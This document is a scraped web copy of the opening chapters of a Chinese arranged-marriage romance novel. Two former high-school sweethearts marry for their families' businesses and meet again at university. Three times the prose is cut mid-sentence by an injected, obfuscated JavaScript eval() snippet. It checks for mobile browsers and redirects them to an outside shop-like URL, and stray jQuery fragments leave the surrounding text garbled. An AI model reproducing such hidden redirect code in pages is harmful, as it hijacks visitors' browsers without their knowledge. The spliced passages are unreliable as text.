《娇菁[先婚后爱]》 1. 第一章 晋江文学城独发 文/林梢焰 林菁的婚结得匆忙。 看着手中的结婚证,还有背后民政局大厅的门,她仿佛大梦初醒。 秋日的冷风瑟瑟,胡乱拍打她的脸。 她今年大四,原本这个时间点该在学校上课。 她跟导员请了假,只说是身体不舒服。 跟舍友也是同样的说辞。 她实在没有勇气坦白实情,说,今天请个假,我要去结婚。 那她真是疯了。 她翻开鲜红的结婚证,入目是她和一个男人……她还是更习惯称呼为男生,他们的合照。 二人挨得并不近,即便民政局的工作人员喜气洋洋地接连让他们再亲密一点,林菁也没有勇气将头再靠近那个男生一寸。 红底照片上,林菁笑得有些局促。 背后传来脚步声,是男士皮鞋的声响。 那声音停在了林菁的斜后方,沉默片刻后,传来男人低沉的声音。 “我送你。” 林菁不知为何做贼心虚,合上了翻开来的结婚证,转身时将那红本藏在身后。 她面前站定的是今日结婚的另一位主人公。 宋知礼。 也是她如今名义上的丈夫。 宋知礼左手握着结婚证,右手的指骨上挂着车钥匙。 他穿着合身的西装,踩着皮鞋,头发看起来最近刚烫过。 此刻正淡漠地看着面前的女孩。 看他大大方方地拿着结婚证,林菁觉得自己不能这么忸怩。 她故作镇定地把结婚证从背后拿出,随意塞在自己的外套口袋里。 她鼓起勇气,今天第一次与宋知礼对视。 宋知礼的表情看不出什么情绪,此刻正淡淡地将目光从林菁装了结婚证的口袋重新挪回到林菁的眼睛。 林菁心想,三年了,宋知礼跟高中时相比,没什么变化。 但这是林菁第一次看见宋知礼穿西装、穿皮鞋。 她更熟悉的,还是高中时那个穿着短袖和运动鞋的男生。 林菁和宋知礼是高中同班同学。 所以,除了林菁,大四就结婚的倒霉蛋还有另外一位。 “走吧,我车就在附近,”宋知礼说。 林菁原想拒绝,她和宋知礼并不是一个学校的,她不想麻烦别人。 她的学校离这儿并不远,她可以坐公交。 可宋知礼未等她说话,就已经径直走向自己的汽车。 他走得很快,林菁跟在他背后犹犹豫豫还未说出拒绝的话语,就已经到了他的车旁。 林菁犹豫再三,还是说:“你不用送我了,我可以坐公交回去。” 宋知礼未回答她的请求,而是帮她打开了副驾驶的门。 林菁就这么半推半就地坐上了宋知礼的车。 车内有股未散的烟味,林菁轻轻用手擦了下鼻尖。 宋知礼打开了所有车窗。 林菁打量了下车内的配饰,都是很旧的款式了。 座椅的坐垫,也有磨破掉线的痕迹。 堂堂宋家大少爷,座驾已经降级到了这个地步,看来宋家现在的麻烦不比他们林家小。 大概也正因如此,两个摇摇欲坠的集团需要互相倚仗,他们两个小辈才会被迫包办婚姻。 林菁竟然生出了同病相怜的情愫,觉得宋知礼有点可怜。 但看着宋知礼开车时不苟言笑的脸,林菁立马打消了这个想法。 她和宋知礼不止是同班同学。 宋知礼从前有多么的自信,多么的固执,多么的意气风发,林菁记忆犹新。 很难将他与可怜这个词放在一起。 但很不幸,事实就是如此。 落魄大少爷开着坐垫开裂的小破车,正在接送他刚领证的落魄妻子上下学,并且自己还得上学。 更不幸的是,根据车内那股未消散的烟味推测,他似乎还学会了抽烟。 现在是下午三点,路上的车辆行人并不多。 “这几年过得怎么样?” 很突然的,宋知礼忽然问她。 像是老友间的寒暄。 林菁将头扭向窗外,说:“就那样,大学嘛,混个毕业。” 宋知礼:“工作找好了?” 现在是十月份,金九银十,秋招正如火如荼。 林菁:“保研了。” 宋知礼“哦”了一声。 林菁坐在副驾上发了一会儿呆,才忽然想起来自己尚未告诉宋知礼自己是哪个学校的。 汽车依旧高速行驶在路面上。 林菁坐直身体,透过玻璃打量了一下路况,忍不住问:“你这是在往哪里开?” 宋知礼回答:“中大。” “你怎么知道我是中大的?”林菁这句话未经大脑就问了出来。 说完后,她才想到不应该这样问。 毕竟二人已经结婚了,丈夫了解自己的妻子是哪个大学的,不是什么怪事。 正好红灯,宋知礼松开方向盘,转过头,好整以暇地看着林菁。 “高三那年,你说过你要考中大。” 林菁一愣。 高中对她而言已经是很久以前的事情了。 她当时对宋知礼说过自己的高考志愿吗? 她记不清了。 但提到高三,一件林菁极力想要忘记却无法忘记的事情又从脑海中翻出来。 她和宋知礼曾经是男女朋友。 分手的时候,闹得很僵。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275969|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车内的烟味散的差不多了,宋知礼重新关上车窗。 密闭的空间内,温度因空气的凝滞缓慢上升。 林菁看着面前冷若冰霜的男人,那些关于从前的幻想重新化为灰烬。 破镜难重圆,他们之间早就不可能了。 即便他们现在的身份是夫妻。 长久的沉默后,车终于在中大的校门口停下。 中大不允许外来车辆进校。 林菁为这提早几分钟的解脱松了口气。 林菁解开安全带,半打开车门,与宋知礼告别:“我先走了,再见。” 至于什么时候再见,或许是两个人的婚礼吧。 宋知礼的手撑在方向盘上,也简短地与林菁告别,“再见。” 林菁走了两步复又折返,她弯下腰,敲了两下宋知礼的车窗。 车窗降下后,林菁将胳膊撑在车窗上,与车内的宋知礼说话。 口袋里的结婚证因为她身体倾斜的角度,露出鲜红的一角。 未扎的头发有几缕滑入车内。 校门口的车有点多,为了听清楚林菁的话,宋知礼解开了自己的安全带,将一只手撑在副驾的座位上,朝林菁的方向倾斜。 坐垫上还有林菁的余温。 林菁靠近车内,复又闻到了车内若有似无的烟味,她说:“你别抽太多烟。” 宋知礼没有想到,结婚后,林菁主动对他说的第一句话,竟然是关心他。 他的嘴角动了动,深褐色的瞳孔露出一瞬间的愣神。 他原本想说,这不是他吸的烟。这是个复杂的故事,是他的舍友一号今天在学校停车的时候倒车入库没对准,一屁股撞上了他的车,撞出一个大凹坑,两辆车现在还在4S店修缮。 好心的舍友二号将他的车借给自己开,虽然这个舍友人不错,但是个烟鬼,车里常年有烟味。他急着来领结婚证,只敞了一个小时就匆匆赶来。 但他张了张嘴,只说了声“好”。 这个话题到此为止。 二人上一回心平气和的交谈,得追溯到三年前。 现在,两个人都闭口不谈过往,饰演陌生夫妻的相敬如宾。 待到林菁的身影完全消失在视野中,宋知礼重新发动汽车,回到华大。 - 大四没有太多课,林菁的三个舍友有两个选择直接工作,还有一个早出晚归准备考公。 学校毕业设计的开题已经陆续开始,林菁保研到了本校,专业也与本科时的一样,都是物理学。 她选择直接跟着自己的硕导做本科的毕业设计。 结婚前后,日子并没有什么变化。 除了书桌抽屉的底下,压了本结婚证。 这件事,只有林菁知道。 2. 第二章 日子照旧平淡地过。 与宋知礼的再次相见,来得比想象中的快。 华大与中大的路程并不远。 在校的前三年,林菁都刻意避免去华大,害怕遇到宋知礼,怕二人再度纠缠不清。 但从那日宋知礼领证时冷冰冰的表现来看,林菁不觉得他对自己能够旧情复燃。 怪她自己,当年的话说得太绝情。 若是她是宋知礼,也会恨上当初那个不负责任的自己。 林菁的导师陈岩松是个一心扑在科研学术上的小老头。 十一月下旬,有一场关于物理学最新研究的学术报告在华大举行。 陈岩松让他们这些研零的学生也去旁听,增长下见识。 三年来,第一次踏入华大的校园,林菁心中有说不出的酸楚。 她的舍友徐菲菲同一个时间段要去华大找她男朋友,正好与林菁同路。 “菁菁,这还是你第一次陪我来华大,一会儿我带你转转,华大我熟。大四了,我们家大忙人林菁菁终于可以放松一下了,”徐菲菲边跟男朋友发亲亲表情包,边与林菁搭话。 在她眼里,林菁是个绝对的模范学生。 长得漂亮,成绩好,对所有人都温温柔柔的。大学三年,林菁很努力,成绩名列前茅,是她们宿舍唯一一个保研的。 林菁点点头,她对华大有些好奇。 徐菲菲陪林菁在华大逛了一会儿后,就飞奔找她男朋友去了,林菁独自前往举行学术会议的大楼。 徐菲菲今天要跟男朋友过恋爱两百天纪念日,她在宿舍省吃俭用了两个月,给男朋友买了个几千块的手办。 她跟她男朋友感情很好。 林菁忽然想到,自己的同龄人都还在享受甜蜜的爱情,自己就已经踏入了婚姻的牢笼。 算算日子,今天正好是领证后的第一个月。 而她的新郎,不知所踪。 她顺着楼梯往上走,同时打开手机看了眼时间。 离会议开始还有十五分钟。 路过一扇门时,她从缝隙里听到里面传来嘈杂的人声。 一个女主持正用话筒说:“感谢宋知礼学长为学弟学妹们做的秋招经验分享,下面是答疑环节,同学们有没有什么问题想要问学长。” 宋知礼? 宋知礼在里面。 林菁的心脏跳得有些快,鬼使神差的,她绕到了这个教室的后门,悄悄坐在了门口的座位上。 舞台上,白色灯光调得很亮。 宋知礼此刻正伏在演讲台上,弯腰挪动鼠标,退出自己的PPT,重新放映大会的PPT。 那页配色喜庆的PPT写着“优秀学长经验分享”几个大字。 再往下,是宋知礼的相关介绍。 华大计算机系大四,均分94+,专业第一,获得的荣誉和打过的比赛写了好几行。 林菁做贼心虚,微微前倾身子,降低自己的高度,不愿让宋知礼看见。 宋知礼调完PPT,重新拿起话筒,走到了大荧幕的中央。 他今天穿了件白色的衬衫,没有打领带,握着话筒的手骨节分明,手背上的青筋微微凸起。 一副黑色细框眼镜架在他笔挺的鼻梁上,透过薄薄的镜片,此刻正俯视台前的所有听众,等待提问。 第一个举手的是个寸头的高大男生,穿着二次元的定制白T恤。 他坐在前排,一站起来,就像矗了一堵墙。 他询问的是各类竞赛认可度的问题,询问参加哪个比赛性价比更高。 宋知礼耐心做了解答,并且回答的过程中一直看着那个男生的方向。 林菁感到庆幸,那个男生坐的位置离她很远。 不然,若是自己被宋知礼看见了,又该怎么解释。 接着是第二个提问的学生,问的依旧是专业上的问题。 第二个问题解答完后,宋知礼环顾教室,多看了几眼后门口的方向。 见没有同学继续举手提问,他放下举起的话筒,与台下的主持人对视一眼,准备交接下台。 林菁看了眼时间,会议快要开始了。 她低着身子,缓慢从座位上站起,准备悄无声息地离开。 宋知礼……应该没注意到她吧? 就在这时,林菁前面一排的一个女生使劲用手肘戳另外一个女生。 “你倒是快啊……要没机会了!”林菁听见戳人的女生小声说。 受到同伴鼓舞,那个女生深吸了一口气,终于鼓起勇气高高举起手。 她手上没有话筒,又坐在倒数第二排,只好更大声地说话,“学长,我还有问题!” 宋知礼停下脚步,重新拿起话筒,“你说。” 他的目光看向那个女生,又不由自主地看向那个女生的身后。 工作人员把话筒递到了那个女生的手上。 她拿起话筒说:“学长,我想问的问题与秋招经验还有竞赛都没有关系,我也不是计算机系的,想问学长一个别的问题可以吗?” 那个女生就坐在林菁的斜前方,根据女生兴奋的表情还有说出的话,林菁敏锐的感觉到这个问题一定不一般。 宋知礼一直看着这个方向,林菁觉得额头一凉,也不敢再大动作离开,只好重新坐回去。 宋知礼礼貌地笑了笑,说:“同学,今天是计算机秋招经验的分享会,咱们提的问题还是尽量跟求职、竞赛之类的有关。” 他抬手挥了挥,示意那个女生坐下。 那个女生并没有坐下,来都来了,还听了至少一个小时枯燥无味的演讲,不把话说出口她是不会罢休的。 “学长,你有女朋友吗?” 此话一出,刹那间,四周传来哄闹的声音。原本瞌睡犯困的同学们忽然清醒,开始八卦。 宋知礼是华大的名人,很多人都认识他,并自发将他封为华大校草。 平日里,明里暗里想要接近他的女生不少,但当众表白,这还是头一遭。 宋知礼有女朋友吗? 肯定没有。 校园风云人物的八卦总是传得很快,却从未听说过宋知礼跟哪个女生走得近。 林菁的手中攥出冷汗,她不可控制地紧张。 宋知礼一直看着这个方向。 不知道是在看那个女生,还是发现了她。 宋知礼不知道在想些什么,罕见地在舞台上愣了神,一直盯着教室门口的方向。 眼看宋知礼几秒钟没有说话,那个女生继续追问:“我猜你肯定没有女朋友,你看我当你女朋友行不行?” 台下传来更不加遮掩的哄闹声,甚至有几个看热闹不嫌事大的男生用手拍起了桌子,嘴里喊着“亲一个”。 后门口,半掩的教室门被风吹开了更大的缝隙。 走廊的冷风从门缝里灌入,吹得林菁眼睛有些发酸。 她想要逃离这里,偏偏腿又跟灌了铅似的,动弹不得。 虽然她与宋知礼之间已经没有了任何感情,但是听到自己的丈夫被别人表白,还是会难受的。 她没有勇气再次闯入宋知礼的生活,没有勇气站出来说我是她的妻子。 这样会把他们两个人的生活都弄得一团糟。 她做不到,也不能这样做。 她们只是商业联姻而已。 讲台上站着的宋知礼深吸了一口气,他将一只手插入黑色西裤的口袋,口袋里有一样还没有送出手的礼物。 他很注意措辞地开口,“……” 可惜,他说的的话,林菁一句都没听见。 刚刚,在林菁头脑发昏的时候,一个熟识的同学恰好从门口路过,她也是来参加学术会议的。 她惊讶地问:“菁菁,你怎么在这个教室坐着?会议快开始了,我们快去吧,晚了就没有位置了。” 林菁像抓住了一根救命稻草,瞬间从座位上站起,搀住了那个同学的胳膊,逃出了这间教室。 “菁菁你怎么了,不舒服吗,脸色这么苍白?”进会议室后,那个同学问。 林菁摇摇头,从随身的包里拿出杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275970|198242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,喝了两口水,才恢复点理智。 她说:“没事,可能刚才那间教室的空调开的太热了,有点闷。” 会议很快就开始了,她努力将自己的注意力转移到正事上来。 只是心里,依旧闷闷的。 - 一墙之隔。 没有人注意到后门口位置的女生默默出现,又默默离开。 除了宋知礼,他看见林菁踉踉跄跄出了门。 他喉咙一紧,更用力地握住了裤子口袋内的丝绒盒子。 教室内,起哄的声音依旧在继续。 他清了清嗓子,很认真地说:“同学,很抱歉,我已经有喜欢的人了。” 教室内起哄的声音戛然而止,这场他们期待的大戏还没开始就已经结束。 校草有喜欢的人了? 简直闻所未闻。 大部分在场的人都将这句话当成善意的谎言,委婉的拒绝。 宋知礼发言的环节结束,他安静的走下台,坐到了第一排的座位上。 主持人开始介绍下一位分享秋招经验的学姐。 主持人说话的时候,后排门口的位置,传来一阵骚乱声,是女生被气哭的声音。 “拽什么拽啊,长了张帅脸就觉得自己了不起了,这种男的我见多了,走丽丽,下一个更乖。” 提问女生的闺蜜正在安慰她,声音不大不小,恰好够从教室的最后传到第一排,传到宋知礼的耳朵里。 接着是摔门的声音。 台上介绍优秀学姐履历的主持人也被这突如其来的插曲打断,介绍词念卡壳了。 宋知礼坐在座位上,头未转动分毫,随着下一位发言人的上台,他跟着大家一起鼓起了掌。 经验分享会继续推进,宋知礼却似乎心不在焉。 他拿出手机,搜索今日华大邀请外校学生参加的活动有哪些,特别是在这幢大楼举办的活动。 活动结束,观众陆续散场。 组织分享会的学生会宣传部部长很诚恳地跟宋知礼道了歉。 宋知礼学长是他们费了老大劲才请来的。 没有做好观众的筛选,是他们考虑不周。 宋知礼没把这点小事放心上。 学生会已经定了个饭店,犒劳几位分享经验的学长学姐。 宋知礼婉拒了,他还有别的事情要做。 _ 林菁参加的会议开到很晚,领导致辞完又集体合影后终于结束,已经六点半了,早过了饭点。 与林菁一起听讲座的那位同学今晚七点还有课,与林菁说了声再见后,便急匆匆冲出会议室的门,搭车回中大。 徐菲菲已经跟男朋友出校门吃上了烛光晚餐,不在华大。 林菁一个人收拾好自己的包,最后一个走出教室。 走廊上空荡荡的,恰是黄昏,落入走廊的光线已寥寥无几,但走廊的灯还没有打开。 她再一次路过那间阶梯教室,驻足几秒,透过半开的后门往里看,里面早就是漆黑一片。 宋知礼已经走了,林菁想。 “林小姐。” 耳后忽然传来熟悉的声音。 林菁转身,看见一道高挑的身形。 昏暗的走廊上,行人寥寥无几。 此时此刻,只剩他们两个,隔着一段距离,四目相对。 宋知礼靠在墙上,装了厚重电脑的黑色书包被他扔在脚边,他的手上还握着摘下来的眼镜。 他的大半张脸都隐藏在黑夜里,林菁看不清他的神情。 林菁依旧站在原地,没有往前。 “好巧,”林菁故作镇定地与他对话,又想起他刚刚那句生疏又讽刺的“林小姐”,又补了句“宋先生”。 宋先生捡起地上的书包,单肩背上,走到了林菁的身边。 宋知礼很高,两人站在一起,林菁得用力抬头才能与他对视。 宋知礼说话时,林菁清清楚楚看到了他滚动的喉结。 他说:“我们聊一聊吧,关于我们的婚约。” 3. 第三章 走出大楼时,天已经完全黑了。 宋知礼带着林菁抄近道从一扇小门出了校,随手拦下一辆车,去了附近一家西餐厅。 门口迎宾远远看见两个背着书包的学生从出租车上下来,没当回事,继续低头整理手上的宣传册。 待二人快走到门口,迎宾才懒散抬头,猛然看见宋知礼。 她顿时立正,毕恭毕敬地推开店门。 “小宋总。” 这家店,是宋家的产业。 他们踩着旋转楼梯,去了二楼的包间。 包间内,是一张圆桌,宋知礼替林菁拉开了一张椅子后,坐在她的左边。 上完菜后,沉重的包厢门被合上,屋内仅剩他们二人并肩而坐。 林菁想说点什么,又不知从何说起。 他们之间不可触碰的禁区太多,断不可再提从前,一不小心就会让现在这段冰冷的利益关系再度坠入冰窖。 “先吃饭,”宋知礼说。 林菁点点头,她确实饿了。 整顿饭,林菁吃得心不在焉,心里一直盘算着如何与宋知礼商讨这木已成舟的婚姻。 宋知礼也一直很安静,给林菁一种不详的感觉,像暴风雨前的宁静。 林菁偷偷看了宋知礼几眼,他面上没什么表情,胸口衬衣的扣子被他解开两颗,袖口也往上卷了卷。 服务员进门给他们倒了红酒,接着又退了出去。 宋知礼抬眼望向身边的林菁,问:“你……有没有什么想对我说的?” 林菁想了想,很没底气地说:“没有。” 她知道多说多错的道理,害怕哪句话把身边的炸药桶点燃了。 这场婚约并非他们自愿,现在这个局面,她也很尴尬。 宋知礼听到林菁说“没有”,很淡地笑了笑,面上波澜不惊,“好,那我来说。” 宋知礼确实成熟了不少,放在三年前,若是宋知礼听到这句“没有”,得气得当场拽着林菁的肩晃,质问为什么没有话想对他说。 “我们领证太匆忙,宋家和林家急需捆绑在一起来挣得外部融资,如果你当时还有未来得及结束的情感关系,那我对此感到抱歉。” 宋知礼嘴上很有礼貌地说着“抱歉”,面上看起来却不太诚恳。 林菁很诚实,摇摇头,“没有。” 宋知礼依旧高冷,好似漠不关心,只点了点头。 他喝了一口酒,委婉提醒:“你的感情生活是你的自由,但别忘了在外头你我已是夫妻。” 林菁点点头,她明白的。 即便再没有感情,在外人面前都得演出一副恩爱模样,这是豪门世家的规矩。 这些年,耳濡目染,她都懂。 其实,作为林家的女儿,林家不缺她衣食,让她过得比大部分人都好,她感激这份恩情,为了家族利益要牺牲她的婚姻爱情这件事,她也能理解。 她可以戴上一辈子面具,在一个陌生男人身边,扮演知书达礼的富太太。 但是,如果这个人不是宋知礼就好了。 她不太愿意在宋知礼面前演戏。 宋知礼问见她皱着眉头点头,不知道思绪飘到了哪里,便继续追问:“你懂什么了?” 林菁叹了口气,有些认命。 她在昏暗中试探性地伸出手,挽住了宋知礼的手臂。 隔着薄薄的衣衫,二人时隔多年第一次肌肤相触,宋知礼的手臂有一瞬间的僵硬,连面上的表情都差点挂不住。 林菁说:“外人面前,得这样?” 宋知礼轻笑一声,不置可否。 少女温热的体温一点点在他臂膀上融化,像一只兔子挂在他身侧。 过了良久,他终究用未被禁锢的手轻柔地拍了拍林菁,示意她松手。 林菁悄悄打量他的神情,没看出什么名堂,只怏怏收了手,坐得端正,与宋知礼继续保持社交距离。 宋知礼从口袋中拿出一个丝绒盒子,放在林菁面前。 “给你,戴不戴随意。” 林菁打开盒子,里头是一枚钻戒,上面镶嵌的钻石很闪,像一朵雪花。 原来是订婚戒指,林菁直接收下了。 宋知礼又从包里拿出一张卡,递给林菁。 “密码你的生日。” 林菁摇摇头,不愿收。 宋知礼问:“为什么?” 林菁沉思片刻,本想说她不花陌生人的钱,又想到这是自己前男友,还是自己丈夫。 但是……那天他都开那样的车了,多半日子也不好过,林菁善解人意,不愿花他的钱。 见林菁迟迟不愿收下,宋知礼也不勉强。 他轻笑一声,说:“你跟三年前相比,还真是一点没变。” 林菁用迷茫的眼神看他,他又自顾自地说:“订婚宴在一月二十,有空吗?” 这是宋家和林家请了算命先生按照两个人的八字精心挑选的好日子。 却无人在意作为主角的两个人有没有空出席。 他们不过是案板上的鱼,任人宰割。 宋知礼也是今天刚接到他爷爷宋震山的电话。 林菁点点头,那时候大概放假了。 北城的冬天很冷,吃了饭,宋知礼打电话让宋家的司机来接。 一路无言。 车先去了华大,林菁向宋知礼轻声道谢后下车。 她准备关车门,结果车门却被一双手抵住。 宋知礼看着她的眼睛,似隐忍很久的爆发,说出来的话却依旧极尽温柔。 “林菁,你还要装不认识到什么时候?” 他们,明明就不是协议婚姻。 - 三年前的九月上旬,北城四中门口人头攒动。 今天是高一新生报道的日子,校门口围着警戒线,不允许车辆靠近。有交警指挥交通,车流才能缓慢移动。 却见门口保安解开警戒线,向一位驾驶座上的妇人讨好一笑,一辆白色宾利直接开进校门。 “秦阿姨,在校门口停车就好,我可以自己走进去,”坐在副驾驶的林菁抱着书包,对秦瑶说。 秦瑶是她后妈,十多年前林菁的妈妈去世后,秦瑶嫁给林菁的爸爸林建华,三个人一直生活在一起。 秦瑶对这个乖巧的继女向来宠溺。 “菁菁,这高一的教室要往里走好久,你爸跟校领导认识,直接说一声就可以开车送你到楼下了,走路多累呀,”秦瑶细声细语地劝她。 秦瑶今年才三十出头,很年轻,再加上保养的好,穿着打扮一看就是有钱人家的贵妇人。 秦瑶为了让林菁少走几步路,直接将车停在了高一教学楼的楼梯口。 林菁在一群人的注视下背着自己的书包下了车,与秦阿姨说了声再见。 她被分到了六班,在二楼。 待林菁上楼后,秦瑶的电话响起,是林建华。 “老公啊,对,我刚送菁菁上学了……没让司机送……不辛苦的。” 待这辆宾利开走后,四周传来叽叽喳喳的讨论。 “这是哪家的大小姐来上学了,那车一看就好贵吧。” “为什么她家长可以把车开进学校?” “你觉得呢,当然是天龙人特权了。” “……” 宋知礼此刻也恰好从楼梯旁路过,他来的早,替老师去材料室搬书。 他穿了件白色短袖,外套随意扯成了长条,搭在左肩。 手上抱着厚厚一叠教材,与他的双眼齐平,走路都得靠直觉。 余光里,他看到一个女生从车上下来,白皙的脖颈修长,却眼眸低垂,很是乖巧,正沿着楼梯上去。 与他同行的男生叫陈喜,看到楼梯口停的车,忍不住“我草”一声。 他与宋知礼才认识不到十分钟,遇到这种有趣可聊的话题不免多说几句,拉进同学间的距离。 “哥们,这操作有点拽啊,这位新同学很嚣张啊,”陈喜望着楼梯口这辆突兀的宾利说。 校门口不允许车辆停留,门口又有那么多交警严管,别说把车停楼底下了,就是下车的动作慢一些,那些交警都要拼命朝人吹口哨。 这位新同学,不一般。 “走了,”宋知礼越过穿流的人群,走向二班,没有评价。 不过这停车的方式是招摇了些,宋知礼心想。 不到半天,楼梯口宾利的传闻就已经沸沸扬扬,人尽皆知。 大家都听说,高一六班来了个大小姐。 传闻她嚣张跋扈,颐指气使,连六班的班主任都得看她的脸色。 很多好奇的人偷偷去窗边偷看大小姐,在走廊上乌泱泱一群人挤来挤去。 林菁收拾完自己的东西,拿着水杯出去接水。 她隐约听到几句周围同学的对话,知道他们是在说自己。 她路上跟阿姨说了好多次在校门口放她下来就好,秦阿姨却说心疼她,不愿她多走路。 秦阿姨总是这样,因为过度关爱她而不小心弄巧成拙。 林菁拿着水杯低着头快步从走廊的人流中穿过,走进无人的饮水房,才放松深吸一口气。 她待上课铃快打响的时候才出饮水房回教室,幸好此时走廊上的围观群众已经散得差不多了。 但老师已经进了教室,此刻正站在讲台上微笑地看着站在门口的她,台下的同学们也已经坐在各自的座位上。 林菁进门的时候,总觉得自己很突兀。 北城四中不强制住校,但因为附近租房并不方便,所以陪读的家长也不多。 递交走读申请书的,六班只有零散几个人,林菁是其中一个。 秦瑶和林建华都说不放心林菁一个人住校,还是每天住在家里最放心。 林菁解释过,她不是小孩子了,可以住校的,而且学校离家并不近,开车一趟也得二十分钟。 林建华只当她是体谅大人工作辛苦,每日早晚接送她又成负担,摸摸她的头,夸她乖巧又懂事,依旧坚持让她走读。 班级里,自然而然的,按照宿舍的划分变成了一个个的小集体,林菁一开始被排除在外。 大家都有些惧怕这位好像很有钱且暂时摸不清楚脾气的大小姐,生怕惹恼了她。 直到周围人慢慢熟悉,他们才发现,这位大小姐没什么脾气,对任何人都很耐心很温柔。 再加上林菁长得漂亮,是那种乖巧的漂亮,五官柔和,皮肤白皙,很讨人喜欢。 几周后,周围的人逐渐与林菁熟悉起来。 “菁菁,菁菁,江湖救急,昨天物理的第三道大题你写了吗?” 早上六点半,她的同桌陆羽薇在早读课上压低声音问。 林菁将桌上的物理试卷悄悄抽出,从桌子底下递过去。 接着,林菁心无旁骛继续早读。 前座的李霄何闻声也转过头来,说:“抄完给我。” 他扫了一眼林菁的卷子,看到最后一题的大题框内写得满满当当,而陆羽薇正在奋笔疾书地狂抄。 “林菁,你这答案是抄的网上的还是自己做的。” 若是抄的网上的,他就不复刻了,容易被老师看出端倪。 闻言,陆羽薇也停下了手,“对哦,菁菁,这是你自己写的还是抄的?” 看这个无懈可击、行云流水的解答过程,要么是个学霸,要么是个不动脑子照抄答案的学渣。 林菁念书的声音顿了顿,抽空回了一句“自己做的”。 陆羽薇得到肯定后,继续埋头苦抄。 他们暂时没有考过试,每个人的实力都深不可测。 是学霸还是学渣,得一个月后的月考才能见分晓。 但对于林菁,同学间有暗中传言,说她不是正经高考考上来的,是家里有钱买进来的。 这传言一传十,十传百,溜了一圈通过同桌陆羽薇传到了林菁的耳朵里。 不过陆羽薇似乎不在意,只要给答案抄,别管对的还是错的,只要不让她交白卷,那就是绝世好同桌。 陆羽薇赶工完成,将试卷交接给了前面的李霄何,李霄何也“刷”的一下争分夺秒开抄。 陆羽薇用课本挡住嘴型,小声跟林菁说:“菁菁,今天下午的体育课有新生篮球赛,咱们去看吧。” 林菁点点头,答应了。 李霄何闻言很兴奋,大幅度地转过头,“真的!你们真的愿意去吗?我们还担心没有人捧场,准备买点零食贿赂下咱们班的女生们。” 今天的太阳有些大,六班篮球队主力们生怕女生们不愿意来捧场,已经准备好了遮阳伞还有零食。 陆羽薇用拳头锤了一下他的背,很义气地说:“都一个班的,小意思。” 下午篮球赛,六班对战二班。 两个班以中场线作为分界线,安排各班的气氛组入场。 六班的应援地上摆满了零食和饮料,旁边还撑着两把巨大的遮阳伞,足够给予所有人阴凉。 反观二班,则是空空荡荡,一贫如洗。 场地内,球员们正在进行赛前热身。 宋知礼T恤外头套了件红色队服,拿着篮球投篮练手感。 今天的太阳很大,空气又闷热,他没动几下就出了薄汗。 “班长,班长,”身后传来同班男生的声音,是刘海洋,班内的交际佬。 他伸出双臂,先将六班的领地扩入囊中,接着是他们二班的。 六班像出来郊游的,他们班像出来修行的。 “班长,落差太大了,要不咱们也买点吃的吧,”刘海洋提议。 宋知礼觉得可以,但刚开学,他们班还没收过班费,而且今天来观看比赛的并非全班同学,哪怕预支班费购买也不太妥帖。 余光里,宋知礼看见两个女生挽着手坐到了六班的观看席。 其中一人皮肤雪白,头发低低扎着,有不少碎发落在脖颈,像是嫌天热随意扎的。 这些天,关于这个女生的校园传闻不少,宋知礼已经知道了,她叫林菁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋知礼轻笑一声,骂他:“去你的。” 宋知礼没忘记正事,从裤子口袋里拿出手机,递给刘海洋。 手机没有设置密码,他说:“去小卖部给我们班买点零食矿泉水,我请客。” 刘海洋接过手机,惊叹一声,朝他敬了个礼,“班长,我将永远忠诚于你。” 刘海洋回得很快,比赛开始前搬了一箱干脆面和一箱矿泉水回到篮球场。 他边给二班分发救济粮,边赞颂他们班班长的丰功伟绩。 二班热热闹闹在一起起哄,吸引了林菁的注意。 她撑着下巴,向二班的位置看去。 一群人正在抢夺干脆面。 “我要烤肉味,烤肉味给我!” “别抢别抢,都有的!” “这是最后一包烤肉味!” “来自班长的馈赠!” 一旁,一个身材高挑的男生从人群缝隙中伸手,在箱子里抢到一瓶矿泉水。 他拧瓶盖时手腕处的青筋微微凸起,接着仰起头,往嘴里倒了一口水,又将水瓶随意地放在旁边,转身继续打球。 一声哨响,篮球赛正式开始。 迎着烈日,两波人马针锋相对,比分咬得很紧。 原本坐在旁边的应援队都站了起来,尖叫着为自己的班级摇旗呐喊。 上半场比赛结束,二班比六班多两分。 中场休息环节,大汗淋漓的球员们得到了班级成员的殷勤款待。 李霄何累的满头大汗,叉着腰走到陆羽薇和林菁旁边,从陆羽薇手里接过水。 “二班那个前锋,进攻太猛了,后半场得专门找个人盯他。” 二班一半的分都是那个前锋拿的。 “哪个?”陆羽薇好奇地问。 李霄何额头滴汗,眼睛都睁不太开,眯着眼睛朝二班的方向指了指一个人。 “好像叫……叫宋知礼,二班班长,”李霄何皱眉擦汗说。 林菁顺着他指的方向望去,见那个人站在人群的外围,站姿随意地擦汗,刚下场呼吸还有些急促,胸膛有规律地小幅度起伏。 